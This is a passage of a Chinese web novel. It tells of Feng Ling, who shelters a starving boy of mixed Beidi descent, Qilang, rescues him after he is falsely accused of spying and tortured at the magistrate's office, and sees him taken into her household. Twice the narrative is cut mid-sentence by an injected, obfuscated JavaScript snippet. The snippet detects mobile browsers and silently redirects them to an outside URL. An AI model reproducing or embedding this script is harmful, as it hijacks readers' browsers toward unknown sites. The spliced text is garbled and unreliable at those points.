这时,客房的木门随着“吱呀”一声被打开,小梅平稳端着一个食盒进入屋内。食盒内的巴掌大瓷碗盛满浓稠的米粥,被熬煮至软烂的白米间还有些许淡黄色絮状物。 这原来是一碗蛋粥。 升腾着热气的蛋粥被从食盒里拿出时,七郎鼻尖轻轻耸动,他的肚子也在此刻发出了叫声。 凤凌见状笑道:“七郎,这碗粥正是给你准备的。” 七郎耳根略微染上一抹红色,他低低地道:“谢谢……姐姐。” 七郎轻手轻脚下床,挪来一张椅子坐在桌前,看着诱人的蛋粥,他忍不住咽了下口水。他忍住腹中的饥饿感,朝凤凌道:“姐姐,你吃过了吗?” “吃过了啊。”凤凌目中带有不解,这孩子都饿得前胸贴后背了,怎么还净问些不着边的。 七郎闻言甜甜一笑,双手小心翼翼捧起身前的碗,露出瘦削白皙的手腕,一圈青色编织绳牢牢套在他左侧手腕上。 他分明极饿,却没有狼吞虎咽,举手投足间似带有章法,应是家里教养得当。 凤凌的手不自觉托起了腮帮子,沉浸式观看眼前的小少年喝粥,细微的吞咽声从对面传来,她心里竟涌现出一股投喂柔弱小动物的满足感。 不到半刻钟,满满一大碗粥被喝得精光。七郎意犹未尽地用手背擦嘴,他仰起头道:“谢谢姐姐,我从来没有喝过这么美味的粥”。 凤凌捕捉到他一闪而过的情绪,问道:“你多久没能吃饱饭了?” 七郎似是被问住了般抿着嘴唇,几息后方才答道:“两个多月。” 凤凌原以为他只是入冬后才缺少吃食,没想到居然挨饿了如此久。她转头吩咐小梅再去厨房熬一碗粥来。 她生在好时代,没挨过饿,但也见过书里关于古代“饿殍遍野”的描写,看向七郎的目光逐渐染上同情:“七郎,你是何人带大的?怎会饿了这么久。” 七郎没有隐瞒,如实道:“姐姐,你看到了,我的眼睛是北狄人的眼睛。我父亲是北狄人,娘亲是汉人,我是由娘亲带大的。娘亲生我的时候也正值寒冬,身子没有调理好落下病根,做不来重活。她全靠缝补、刺绣这些手艺将我养大。” 凤凌问道:“你怎么不去找你父亲?” 七郎眼里闪过一丝黯然:“连我娘亲都不知道我父亲的叫什么,她只说北狄人血冷心冷,没有管过我们母子,我也从未见过我父亲。” 凤凌向来不懂如何安慰人,只能木木地拍着七郎的背,道:“别伤心,你的娘亲一定不会希望你因为自己的身世而难过的。” 她快速地在脑海里遣词造句,努力说出一些能宽慰人的话语:“每个人都无法选择自己的出身,你还这么小,或许还想不明白,但等你长大了定会释然的。” 七郎却道:“我已经快十七岁了,才不是小孩子。” 七郎语气里带着强调,他不想让凤凌误认为自己是小孩。 凤凌短暂地一怔,神色不变,心里却暗叫离谱。 来到古代的这段时间里,凤凌也大概估摸出了她自己现今的身高,与原先相差不大,都是一米六左右,而眼前的少年比她还要矮上小半个头。 他顶多就是一米五,现代小学四五年级都能达到这个身高,但考虑到这是古代,身高或许有些偏差。所以凤凌猜想七郎应该只有十二三岁,可不就是个小孩子吗。 岂料他居然言之凿凿说自己快十七岁了? “额,这样喔。你都快有十七岁了,那确实不算小。”凤凌干笑,生硬地转移话题,“你手上的编绳看起来真特别,是你娘亲给你做的吗?” 七郎抬起手腕,垂眸看着腕上由几根青色细绳编织而成的手绳,话语里听不出情绪:“对的,这是我娘亲编给我的,有吉祥如意的寓意。” 凤凌道:“你娘亲还是很爱你的。” 七郎低低应了一声,像是带有委屈一般。 凤凌刚想询问,却被刚刚踏进屋里的小梅打断。只听小梅徐徐说道:“二小姐,老爷今日在府门派发的油茶还剩了些,我自作主张拿来,就没再熬粥。二小姐,您看油茶可行吗?” 凤凌赞许道:“油茶自然更好,小梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458262|169621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你做得对。” 七郎搭在膝盖上的手指蜷缩了起来,喉结上下滚动。 眼前这碗茶绿色的米汤,他是认得的。他前几日还在凤城主府门前领过一碗,彼时他全程低着头,没人察觉到他那双属于异族的眼睛,领到汤时他迫不及待尝了一大口,身上的寒意顿时减去许多。 可当他端着木碗欣喜若狂赶回家中时,两个身着崭新缊袍的中年男人在一条巷子里挡住了他的去路。 这两个中年男人住在他隔壁街,总是对他和娘亲出言不逊,口口声声说他是杂种,更是将她娘亲指为贱妇。 七郎眼中的寒气让他的双瞳镀上了一层银白,他声音比脚下的雪更冷上几分:“你们要做什么?” 两个中年男人朝七郎围上去,其中一人语气轻蔑道:“凤城主发的食物是给城内贫苦的人吃的,不是给杂种吃的。不过,你这个杂种要是跪下来给我们两兄弟磕几个响头,我们愿意让你口吃的。否则,你今日休想回去。” 另一个中年男人嘴里发出尖锐的笑声:“小杂种,以前有你娘护着你,你也勉强还算半个汉人,可现在没人护着你了。你说,若是我们检举你是北狄奸细,城主会不会信?” 七郎咬牙,他的身量与这两个中年男人相差太多,拼力量他必输无疑,想要走,便只剩下一个办法。 七郎用力将眼闭起,深吸一口气后再次缓缓睁开双眼,他眼里此时只余下乖顺。 他蹲下把木碗放在一旁,故意做出即将要下跪的模样,头顶果然传来那两个男人志得意满的笑声。 他单手撑在雪地上,支起身体抬脚就往离他较近的男人下身踹去。 “啊——”一声惨叫回响在巷子中。 另一个男人叫骂着朝七郎挥拳,七郎靠着身量小的优势堪堪避过。他一边躲避一边找机会接近雪地上的那碗米汤。终于,他在矮身躲开男人的横踢时成功取回了米汤。 但喜悦还未上至眉梢,腰间一阵紧箍感霎时间令他动弹不得。 是被他踹到下身痛处的那个男人!他的一脚可不轻,那个男人居然能站起来了?! “你个小杂种可把老子给踹疼了。”男人口气里带着恶臭,熏得七郎眼睛有些发疼。 另一个男人也缓步踏来,道:“抓紧这个杂种,我来好好教训他。” 七郎手腕用力往上一翻,木碗里剩余的米汤就这么猝不及防泼洒到他身前那男人的脸上。眼睛里自然也洒入了不少,顿时让那男人抱头痛呼。 这转瞬的变故让紧箍着他的男人稍微一怔,他找准机会侧头狠狠咬向男人的手臂,并从中挣脱出来,期间他手里的木碗滑落,可他却无暇再顾及。 “啪啦” 木碗被踩碎的声音如尖刀般锐利,几乎要将他的耳膜刺破。 这只木碗还是他娘亲留给他的,但他来不及难过,只能忍下寒风刺骨的疼痛,用尽全身力气朝家的方向跑去。 “这小杂种居然还会咬人!还当真是北狄的狼崽!” “小杂种,你给我等着!” 那两人的声音自他身后传来,这几日里如附骨之疽般萦绕在他耳边。 “七郎?七郎,你怎了?”一阵清冽如泉的呼唤将他从思绪中拉扯出来,瞬间破除掉他心底残留的阴霾。 凤凌眼见七郎盯着油茶发呆,还皱着眉头。她不禁想到这油茶也不是每个人都喝得惯的,比如不喜欢姜味的人就喝不来。 凤凌又问道:“七郎,你是不是不喜欢油茶?” 七郎连忙摇头,眼底满是豁然的笑意:“不是的,姐姐……我很喜欢。” 这碗茶绿色的米汤,他昨日还在梦里喝过。原来,这叫油茶。 凤凌放心下来,道:“喜欢就好,这油茶可以驱寒的,适合你喝。” 凤凌话音刚落,就感觉到小梅轻轻扯了一下她的衣袖,小梅的眼神还向屋外瞟去。她读懂了小梅的意思,留下七郎一人在客房里,她则与小梅缓步去往外间。 小梅刻意压低声音道:“二小姐,他看起来已经没事了,您还是快些将他送走吧。若是老爷发现您捡了个混有北狄血的人回来可不得了。” 凤凌回头瞥了一眼屋内正在低头喝油茶的七郎,说道:“知道了,他家里也还有家人,我怎会留他在府里。待他喝完油茶我便会让他离开。” 5. 心泛涟漪 暮色渐至,残阳映雪。 凤凌站在凤府后门的廊檐下,把手中用油纸包好的几块面饼递给七郎,她道:“七郎,快些回家吧,你娘亲在家里该等急了。” 七郎稳稳接过面饼,低低应声。他的眼睛黏在凤凌的裙摆上,恋恋不舍地转身,在雪地里留下一串不深不浅的足迹。 忽然,他回头深深望向凤凌,垂落在身侧的手慢慢握紧。他朝凤凌站着的廊檐下跑来,跌跌撞撞的。他似是鼓足勇气般地说道:“姐姐,我能知道你的名字吗?” 凤凌还以为这孩子忘记了什么要紧事才如此慌张地往回跑,原来只是询问名字。她嘴角勾起一抹温和的弧度:“我名叫凤凌,冰凌的凌。” 说罢她指了指对面街道的低矮枯木,光秃秃的枝丫上凝满晶莹剔透的冰凌,冰凌折射出深沉的暮色,这暮色最终晃进七郎的眼中。 七郎收回视线,朝凤凌郑重道:“凤凌姐姐,我会一直一直都记得你的。” 凤凌向他摆了摆手:“知道了,你快回家吧。” 这小孩嘴还挺甜,说什么会一直记得她,这信誓旦旦的样子还挺可爱的。 她眉眼藏笑,望着七郎瘦弱的背影在雪地里越来越小,而后转身回府。 古代的夜晚是漫长无趣的,唯有用睡眠打发时间。 方亥时一刻,凤凌就已经躺在柔软的床榻上好一会儿了。她面无表情地凝望着床上挂着的粉色纱帐,思绪胡乱飘着。直到两声轻轻的叩门声响起,她才懒懒地道:“进来。” 来人是小梅,她矮下身行礼:“二小姐,方才府里人在打扫客房时发现了这条手绳。” 小梅摊开手掌,只见她手心里静静铺着一条做工独特的青色手绳。 这不是七郎那孩子的娘亲编给他的手绳吗,他怎会这般粗心大意,离开时还遗落了重要的东西。 凤凌在床上坐起,刚要伸手去接,伸到半空中的手又堪堪停住,她收回手道:“放桌子上就行,这是七郎的手绳,明日你同我去还给他吧。” “是,二小姐。”小梅将手绳摆在楠木桌上后退出房间。 …… 一夜无梦,凤凌早晨醒来时浑身舒爽,吃过早饭后她拿上手绳前去还给七郎。昨日听七郎提起过,说他住在城西的石塘巷中,离凤府约莫三四里路。 谁料才踏出院门就遇到倪紫嫣身边服侍的丫鬟小晶,小晶对她说倪紫嫣有要事找她。既是要事,凤凌也不好推辞,只能暂时将手绳放进腰侧的荷包中,随小晶前往倪紫嫣的院落。 倪紫嫣所在的院子毗邻正房,院内有几株梅树,绯红色的花骨朵一个挨着一个拼接在枝头上。瞧这样子,不出一月定能闻到满院梅香。 她进入屋内,迎面便是待客的正厅,两侧墙上分别挂有几幅山水画,其中最吸人眼球的画下摆放着一张古琴,淡淡的檀香自古琴旁的紫金香炉里传出。倪紫嫣正静静坐在正厅的楠木椅上翻看着手中一小叠纸张,她像是没发觉屋里来人似的,眼睛仍然在纸上不断扫视。 凤凌缓步走向倪紫嫣,低声询问道:“姨娘,听说您有要事寻我,不知是何事?” “凌儿,你来了。”倪紫嫣连忙拉凤凌在她身旁坐下,“快,一起来看看。” 凤凌带着疑惑的目光望向倪紫嫣手里拿着的纸张,纸张上密密麻麻写满了字: 陆云飞,城东陆家次子,年二十一,任北越府衙文书一职,家境殷实,身体康健,容貌尚可。 卫翰,城东卫家长子,年二十三,任北越城守城军百夫长,身体强健,容貌粗犷。 李广灵,城西李家长子,年二十,北越城秀才,精通诗词,身体尚可,容貌清秀。 …… “凌儿,这件要事就是你的终身大事啊。”倪紫嫣柔和的声音自耳畔传来,“这些可都是我们北越城内未婚的青年才俊。” 倪紫嫣只顾着瞧她手上那叠纸,不断翻看介绍着,完全没注意到凤凌已然完全凝固在一旁,嘴张得几乎能塞下一颗鸡蛋。 凤凌有一种想要扶额的冲动,她还以为姨娘真有什么要紧事,结果居然是找她来挑选男人的。这算是什么要紧事! “凌儿,我认为这陆云飞甚好,与你年龄相配,职务也不错。”倪紫嫣喋喋不休,“我前段时间还见过他,文弱却不失风骨,是个良配。” “凌儿?凌儿你有在听吗?” “姨娘,我真的还不想嫁。” 凤凌语气中饱含无奈:“姨娘,这是父亲的意思吗?” 倪紫嫣欣喜地陈述:“也不全是老爷的意思,我也觉得你的婚事该在这段时间里定下,来年春日时结亲岂不美哉?” 她将手中的一叠纸全都放在凤凌膝上,道:“凌儿,你慢慢看,好好考量考量,这可有三十来人,总有一个能入眼的吧。” 凤凌暗自叹气,脑子里打了好几转也想不出回绝的理由,只能假做乖巧地翻看着纸张的内容。 也不知过了多久,翻来覆去看了好几遍,她的脖子隐隐传来轻微的酸胀感,可倪紫嫣还在一旁用满怀期待的眼神凝望着她,就盼着她能在今日就挑选出个如意郎君来。 天呐,谁能来救救她! 恰逢凤凌欲哭无泪之际,礼数周全的敲门声自门口传入。 随着倪紫嫣的一声应允,小兰踏入屋内,只听她细声细语道:“夫人,午时将至,老爷让二小姐去厨房指导下人们烹煮油茶。” 凤凌如获大赦般把手里那叠沉甸甸的纸放回桌面,她立刻拔腿朝屋外踏去。 “姨娘,我的婚事来日再议,来日再议——”凤凌边走边扬声道。她没能压住语调里仿若劫后余生的喜悦。 她甚至没听到身后幽幽传来的叹息声:“这孩子。” 离开倪紫嫣的院落时,凤凌感激地对小兰说:“小兰,你真的是我的救星!” 可惜小兰听不懂,她纠着眉头,一副摸不着头脑的模样。 走至厨房,凤凌再次给厨房里负责准备吃食的丫鬟小厮演示油茶的做法,他们大都不识字,无法用纸笔来记录步骤,得靠她多做几遍方能记住。 折腾完,已过午时,她草草吃过午饭后带上小梅一同从后门溜了出去。 小梅是认识路的,她带着凤凌穿过了好些条街道。 随着脚下步子的逐渐增多,凤凌的腿脚开始酸疼,遂靠在一处低矮的院落边弯腰锤了锤小腿。小梅也蹲下为她轻轻捏着脚脖子。 她低头望向小梅低垂着的眉睫,心里好一阵无奈,这才走了不足三里地腿脚就变成这样。这身体可真经不起折腾。 在她思量时,微弱的沙沙声入耳。还未等她反应过来,一道厚重且带着急迫的声音自身侧而来。 “姑娘,小心!” 凤凌感到一股巨力将她推倒,只听“轰隆”一声,半人高的雪就这么堆落在她方才站立的位置。她半趴在雪地上,直到冷意传遍四肢方才缓过神来。紧接着,她被一只温暖而有力的手臂扶起。 扶凤凌起身的中年妇人道:“姑娘,你没事吧,冬日里站在堆满积雪的屋檐下是很危险的。” 中年妇人身着厚重的灰黄色粗裘,正在用她带着龟裂的粗糙大手帮凤凌拍打着身上的雪。 小梅惊魂未定,颤着声询问:“二小姐,您没事吧。” 凤凌缓缓摇头:“我没事。” 雪地很软,跌在地上时并不会疼。她心有余悸地望向那雪堆,若是被这雪堆砸中,定是要躺上一两月。于是,她感激地朝中年妇人道:“多谢大娘救我。” 中年妇人低头拾起她刚刚因救人而随手丢在路旁的一个铜壶,发觉铜壶旁 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凤凌突然有了主意:“大娘,您不必推辞了,您救了我理应收下这些。您若是觉得受之有愧,那不如回答我几个问题,可好?” 中年妇人没有再推辞,直起身道:“姑娘,你请问。” 凤凌问道:“大娘,您这铜壶虽旧,但做工精细,您以前定然不是贫民吧。” “姑娘好眼力,起初我还不算是贫民的。我夫君他早年是挑夫,能赚些银钱,在那时冬季过后家里都还剩下不少余粮。”中年妇人边说边往自个儿掌心里呵气,“但自从三年前他在山上挑木头时不慎跌下山坡,虽保住了性命,但再也无法行走。这家里的担子只能我一个人扛,时不时在街上做些搬搬扛扛的活,幸运时还能去一些小馆子的后厨里洗碗,也能勉强生活。” 凤凌道:“大娘,冒昧问一句,您与夫君没有孩子吗?” 中年妇人对上凤凌的视线:“有一个儿子,他自束发时就加入守城军中,吃着军粮倒也不用我们操心,甚至在丰收时节还能带些他攒下的粮食回来,但冬日定然是没有的,加上冬日里街上的活计少,还是不够吃的。” 凤凌心中一酸,像是有蚂蚁往心窝里钻,用它坚硬的上颚不断刺向她。 她低垂眼帘,让人瞧不出情绪:“大娘,城里的贫民们都像您过的这么辛苦吗。” 中年妇人怆然道:“我们家虽然苦,但也还是能过得下去,还有一些人,他们比我们更苦。” 凤凌弯下腰拿起雪地上的铜壶,郑重地交到中年妇人的手中。她缓缓道:“一定会好起来的,我相信一定会好起来的。” 中年妇人眼中似有不解,但她也没有深究,只是一味地抱紧怀中的铜壶。 凤凌与中年妇人道别,朝石塘巷的方向走去。一路走着,她发现中年妇人也走这条路,再次询问后她才知道,原来她们的目的地竟同为石塘巷。 更巧的是,此中年妇人还是七郎的邻居,姓刘,可称呼为刘婶。 不到一刻钟,凤凌抵达石塘巷,她的目光追随着刘婶来到一处破败的院落中。刘婶扬声朝院里喊道:“七郎!有位姑娘找你!” 院落内寂静无声,刘婶又接着喊了几声,仍无人应答。 这时,一个头发花白的老人自七郎对面的屋子里缓步走出,道:“七郎在半个时辰前被隔壁街的王家兄弟带去府衙了,说是逮着他偷盗的证据。” 凤凌眼睑轻颤。 七郎的眼睛如冷泉般清澈纯净,绝不可能是偷盗之人。 刘婶也气愤道:“七郎那孩子做不出偷盗之事,定是那王家兄弟污蔑的!王家那两兄弟从前总是找七郎母子的麻烦,一定是这样的。” 凤凌把手覆盖在腰间的荷包上,隔着轻薄的布料抚摸着里面的事物,她斩钉截铁道:“小梅,带我去府衙。” 6. 七郎入府 “等等,姑娘。我和你同去。”刘婶见状立即抱着铜壶跑进隔壁的小院里。少顷,她由院里出来,手里还揣着一张泛黄的纸。 凤凌点头,三人快步往府衙走去。抵达府衙大门前时,凤凌额角覆上薄汗,她抬手随意用衣袖一抹,毅然踏上阶梯。 在“北越府衙”牌匾正下方,她们被守门的两位官差拦住。 官差厉声道:“府衙重地,无事不得入内。” 凤凌软下声音道:“两位差大哥,我自是有事才来的。” 官差犀利的眼神扫过凤凌几人,语气稍缓:“大人正在里面处理要案,有事明日再来。” 凤凌眉毛一挑:“要案?偷盗也能算要案?况且还是被诬告的偷窃。” 官差目光略带狐疑:“什么偷盗?今日府衙里只接到一桩案子,说是逮到了北狄的奸细,大人很是重视,已经在里面审了许久。” 凤凌心弦微颤,眼神忽明忽暗。她紧了紧手指,转头低声向小梅耳语,小梅郑重朝她点头,随后裙摆在雪地上快频率摇曳。 凤凌面向官差,指了指自己和身旁站着的刘婶,道:“差大哥,我们是里面那桩案子的人证,请放我们进去。” 刘婶在凤凌用手肘触碰她时终于回过神来,她赶忙道:“是的,两位大人,我是里面被告者的邻居,请让我进去。” 官差仍面带疑惑,但还是将她们两人带入府衙内,来到公堂正前方。 公堂房檐高悬蓝底黄字“正大光明”牌匾,两侧整齐站列数十名官差,他们腰间配刀,脚踏乌黑长靴,穿着打扮与带凤凌入内的官差完全一致。还有两个面露得意之色的男人,他们侧身站于公堂之下。 端坐于公堂之上的是一名中年男人,他身着朱红色官服,头戴乌纱帽,面上略有愠色。 七郎还穿着昨日那身衣裳,他以趴跪的姿势在公堂之下,身体无力地蜷缩。细看之下,那具瘦弱的身躯在轻微颤抖。他的身前摆着一副木质的夹板,夹板由近十根圆木组成,以绳穿连。 凤凌瞳孔骤然收缩。 这是……拶刑所用的刑具! 凤凌顾不得官差在旁,大迈步跑至七郎身旁,蹲下查看他的手指。 昨日里葱白般细嫩的手指现已布满血痕,木制夹板上斑驳血迹触目惊心。 七郎低垂的头慢慢抬起,他脸颊发白,声如细丝:“姐姐……我不是奸细,不是。” 凤凌盯着七郎因疼痛而打颤的牙关,眸色逐渐变暗。 “啪” “我乃北越城知府,你是何人!怎无故闯入堂内。”高坐在堂上的知府在见到凤凌突然闯进后像是发泄似的用力拍了一下桌案上的惊堂木。 凤凌抬眸,将胸腔里翻腾的怒意暂压眼底,道:“知府大人,敢问这孩子犯下何事?要受此刑罚。” 知府声似雷霆:“大胆!回答我的问题。” 凤凌面无惧色:“我是凤凌,北越城人,认得这孩子。” 知府道:“他被检举犯下重罪,里通北狄,还拒绝招供。” 七郎似是缓过一口气,扬声道:“你胡说!我没有里通北狄!” “好哇,我体谅你还是个孩子,未对你用重刑,没想到你竟这般冥顽不灵。”知府再次重重地拍下惊堂木,“来人,给他打上十个板子,看他的嘴还硬不硬。” “等等,知府大人!手下留情!”刘婶冲上前来,从怀里掏出一张发黄的纸,“大人,这是七郎的户籍文书,是他母亲转交给我的,七郎是有正当户籍的北越城人,不是北狄奸细。” 知府皱眉,招手让身侧的官差去取刘婶手上的纸。他拿起那张纸细细查看一番后道:“他的户籍文书?怎么在你手上,你是他的什么人?” “回禀大人,我姓刘,是七郎的邻居。”刘婶如实回答,“七郎年纪不大,他母亲怕他不够稳重,所以在离世前将这重要的文书交由我暂时保管。” 凤凌闻言一愣,目光落在七郎倔强的背脊上。 七郎的母亲已经不在了?难怪…… 难怪他当时那么落寞。 户籍文书一出,凤凌以为此事已得转圜,遂慢慢将跪在地上的七郎扶起。 没想到,知府那充满怒气的声音又响起:“住手,你在做什么?谁允许他站起来了?” 凤凌扶着七郎的手一顿:“大人,七郎有户籍文书,他不是北狄奸细。” 知府勾起嘴角:“这只不过是一张户籍文书而已,又能证明什么?何况,这桩案子可是有举告人在场的。” 站在公堂侧边上的两个男人立马站出来应声:“没错,知府大人,这个北狄杂种心思不纯,定然是北狄派来的奸细!” 凤凌了然,此二人必是刘婶先前所说的王家兄弟。 她朝王家兄弟发问:“你们举告七郎里通北狄,可有书信为证?无凭无据怎能给人扣下这等大罪。” 王家两兄弟一人名为王蒙,一人名为王莽。 王蒙语气生硬道:“我们虽无证据,但就是见到他平日里鬼鬼祟祟,肯定是做了见不得人的事。” 王莽也道:“对的,我还瞧见过他出城去往北边!定然是与北狄人有所往来。” 王蒙又补充道:“他今晨还被我们撞见偷盗他人物品,这北狄杂种手脚不干净,肯定是个奸细!” 凤凌打量着王家兄弟,听着他们破绽百出的说辞,对于七郎的清白,她更为确信了。 这两人话语间逻辑混乱,根本就拿不出什么实际性证据。想来他们是担心偷盗的罪名不够重,来府衙报案时又给改了口。真是十足的恶棍。 凤凌幽幽地道:“偷盗?偷盗又有什么证据?” 王蒙颇有底气地朝知府说道:“知府大人,偷盗的证据就在这杂种的身上。今晨我亲眼见到他从怀里取出一包用油纸裹着的吃食。我们这些贫民有口吃的就不错了,怎能获得这种用油纸包好的稀罕食物。” 凤凌笑出了声:“我当是什么,这油纸里放的不过是几块面饼而已,还是我昨日给他的。何来偷盗一说。” 凤凌偏头望向跪在她身侧的七郎:“七郎,你拿着的是我给你面饼,对吧。” 七郎点头,小心翼翼从怀里取出那包面饼,与昨日平整的模样不同,油纸变得褶皱,甚至裂开了几处口子,露出里面的米白色面饼来。 凤凌弯腰接过面饼,朝知府举起,道:“大人,此为我昨日赠予七郎之物,并非他偷盗所得。那两人更是拿不出证据证明七郎是北狄奸细。” 她目光直接射向高高在上的知府:“知府大人,您这般不分青红皂白行刑,是否合北越城的规矩?” 知府不怒反笑,言语满是讽刺:“北越城的规矩?你一介女流之辈懂什么北越城的规矩,在这北越城府衙里你也敢教我做事?是也想体验一番拶刑?” 凤凌嘴唇紧抿,双拳紧握,指甲已然刺入肉中。 “姐姐,别管我了,你快走吧。”七郎将手用力地往自己衣裳上抹了一把,轻轻用指尖扯动凤凌的裙摆。 “林知府,如果是我来教你做事,你可否听上一听?” 府衙外信步走入一人,是个中年男人,他身材挺拔,一席纯黑大氅随步履而动,身后还亦步亦趋跟着两个身披银色战甲的年轻男子。 “城主大人,是什么风把您给吹来了。”堂上的林知府像是座椅突然着火般弹射而起,频频朝府衙外的中年男人点头哈腰,“您的教诲下官何时未遵守过,自是洗耳恭听。” 凤凌扬起嘴角,小梅办事果真利索,她父亲这么快就来救场了。 在林知府朝凤渊行礼后,她也对凤渊矮身行了个晚辈礼,在林知府错愕的目光下轻声唤道:“父亲。” 林知府心中掀起惊涛骇浪,姓凤,他早该想到的。这北越城里,只有城主冠有此姓。不对,城主仅有两个女儿,大女儿几年前便已出嫁,至于二女儿……二女儿不是个傻子吗? 林知府心有疑惑,但未敢发问。他回想起自己方才威胁凤凌的话,不禁背脊发凉。 凤渊坐上林知府方才坐着的主位,看向凤凌,道:“凌儿,你来同我说说此处是怎么回事。” 在凤凌的一番述说下,凤渊逐渐明白整件事情发展的经过,他望着站在一旁不敢吱声的林知府,面庞逐渐冷硬下来。 凤渊心中已有决断。七郎这少年虽身负北狄血脉,但也确实是汉人的孩子。林知府是他所管辖的手下,手下没有实证就对这少年用刑,他也有御下不严之嫌。因此,他理应对这少年负责。 因着府衙里传出的动静,附近街道上的百姓纷纷凑到府衙门前看热闹。 凤渊下令让在外头看热闹的百姓入内。 凤渊向七郎高声道:“七郎,你虽行为无不妥之处,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458264|169621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身负北狄血脉,终是容易落人口舌。但我有一法可保你不再受他人欺辱污蔑,你可愿一听。” 七郎郑重点头:“愿意。” 凤渊道:“我要你当众立誓,画押留据,此后永不做危害北越城,危害北越城百姓之事。你可否能做到?” 七郎目光坚定:“能!” 北越城府衙里的文书手脚极快,不过一盏茶的功夫,一张工整的书据便写好了。 凤渊问道:“可否识字?” 七郎回答:“认得。” 于是,七郎就着手指上流淌而下的血在书据上按下手印,大声在众人面前道:“我名七郎,在此立誓,永不会做危害北越城、危害北越城百姓之事,否则天打雷劈,不得好死!” 凤渊起身,朝公堂下的众人道:“诸位也见到了,此子已当众立下誓言。他家中已无亲人,现我决定将他收入凤府,往后若他未作恶,诸位也不能为难他。若还有人拿他身份说事,欺辱于他,我凤渊必将追究。” 凤渊交代清楚后转身看向林知府:“林知府,你未辨明是非就对人用刑,所犯下的错你可认?” “我认,我认!”林知府闻言跪倒在凤渊身前,“只是,城主大人,您请念及我是初次犯错,也受了小人蒙蔽,能否轻饶我?” 凤渊摆手:“幸好你未伤及无辜人的性命,一切都还留有余地。小惩大诫,罚你三个月俸禄。” 林知府连忙谢恩:“多谢城主!多谢城主!” 凤渊锐利的目光落在堂下的王家兄弟身上:“至于胡乱报官混淆视听者,按律当打二十大板。” 王家兄弟顿时双腿发软跪倒在地,被几名官差拖走时口中一直求饶。 片刻后,响彻天际的哀嚎声与沉闷的棍棒声由公堂后传出,弥漫在整个府衙里。林知府瘫坐在公堂上,暗自擦着额头上冒出的冷汗。 …… 暮色下,凤府的某个院落里传出一阵悦耳的声音。 七郎用他甜丝丝的嗓音道:“姐姐,姐姐。谢谢你今天赶来救我。” 凤凌但笑不语。 小梅见状,严肃地把七郎拉到一边:“你并不是二小姐的弟弟,不能如此称呼二小姐。你既已入凤府,就只能同我一样称呼二小姐。” 七郎缠满绷带的手无力地搭垂在身侧,他稍稍偏头朝凤凌看了一眼,眼里的水雾似要溢出。 凤凌无法招架,只得向他招了招手。七郎似得到糖果的小狗那般摇着尾巴朝她跑来。 她语气里带着自己也察觉不到的温柔:“往后在府内,若有其他人在场,你唤我二小姐便是。若仅有你我二人,你依旧可以唤我姐姐。” 七郎雀跃道:“姐姐,你真好。” 身前的小孩把眼睛笑成新月的模样,柔软的黑发放松地搭在他的额边,如画的眉尾若隐若现。 凤凌忍不住在他的头上揉了一把,小孩立马羞赧地低下头。 两日后。 凤凌恼怒的声音在院子里回响:“你的手指又渗血了!” 七郎赶紧心虚地把双手背在身后,不敢直视凤凌,支支吾吾道:“姐姐,我……我方才只是去提了两桶水。” 凤凌叹气:“不是让你等手上的伤完全愈合后再干粗活吗,怎么不听话。” “姐姐,你救了我,我却什么都不能为你做。”七郎的头垂得很低,看不出表情,“姐姐,我是不是很没用。” 凤凌凝视七郎片刻,道:“要不这样,我记得你不是识字吗,在你手伤还没痊愈前就每日念些话本给我听。” 七郎抬头,满脸惊喜。 于是乎,她就惬意地握着手炉挨在前厅的靠椅上,小孩绵软甜糯的声音萦绕在耳畔。每当遇到认不得的字时,他总会倾着身子用上目线对她投以求助的目光。在得到解答后,他蝶翼般的睫毛扑闪,眼里盛载漫天星河。 时间便这般一日一日流淌而过,七郎的手指也逐渐痊愈,腕上亦重新戴上了他那条青色手绳。但他似是养成了习惯般,每日做完府里的活儿后总要来给凤凌念上几段话本。 凤凌显然不会拒绝,她喜欢听七郎念的话本,尤其是在她偶尔用话本里的桥段逗七郎时,他雪白的脸颊总能在瞬间晕染上绯红,每每都让她觉得十足的有趣。 就当她以为接下来的日子也会这般逍遥自在时,父亲面色凝重地敲响了她的房门。 7. 拜访柳府 凤渊在房檐下负手而立,他额间的纹路好似又多上了一些。 他语气低沉:“凌儿,随我来议事厅。” 凤凌乖乖跟上,这还是她第二次见父亲露出这般神色,难道这次也是为了贫民的事情?可贫民的事情不是早就得到解决了吗。 议事厅内,凤渊坐在主位,手指不停揉捏着眉心,可越揉他眉心的褶皱反而越深。 凤凌和弟弟凤斐然都坐在左侧的两把椅子上。她有些惊讶地发现,她这向来活泼的弟弟亦是凝着一张脸,只在她进入议事厅时扯着嘴角同她打了声招呼。 凤凌忍不住问道:“父亲,今日是因何事寻我?” 凤渊将桌案上的一张纸递给凤凌。 她定睛看去,纸张上共有三栏,头一栏所记录的都是北越城的富硕之家,后面还有掌家人的姓名,而在“捐赠数额”一栏中,空空如也。 凤渊的叹气声随之传来:“全都是些老狐狸,有利可享时挤破脑门也要来,让他们捐些粮食就推三阻四。” 凤凌蹙眉,似懂非懂道:“父亲,这是要向富户们募捐?” 凤渊道:“没错,北越城冬长夏短,冬日近乎六个月,现在方才过去两个月。自你做出油茶后,皇城发的米能用上三个月。我本想着剩下的粮食也和去年一般向城内的富户们募捐便能解决,没想到今年他们竟不肯捐了。” 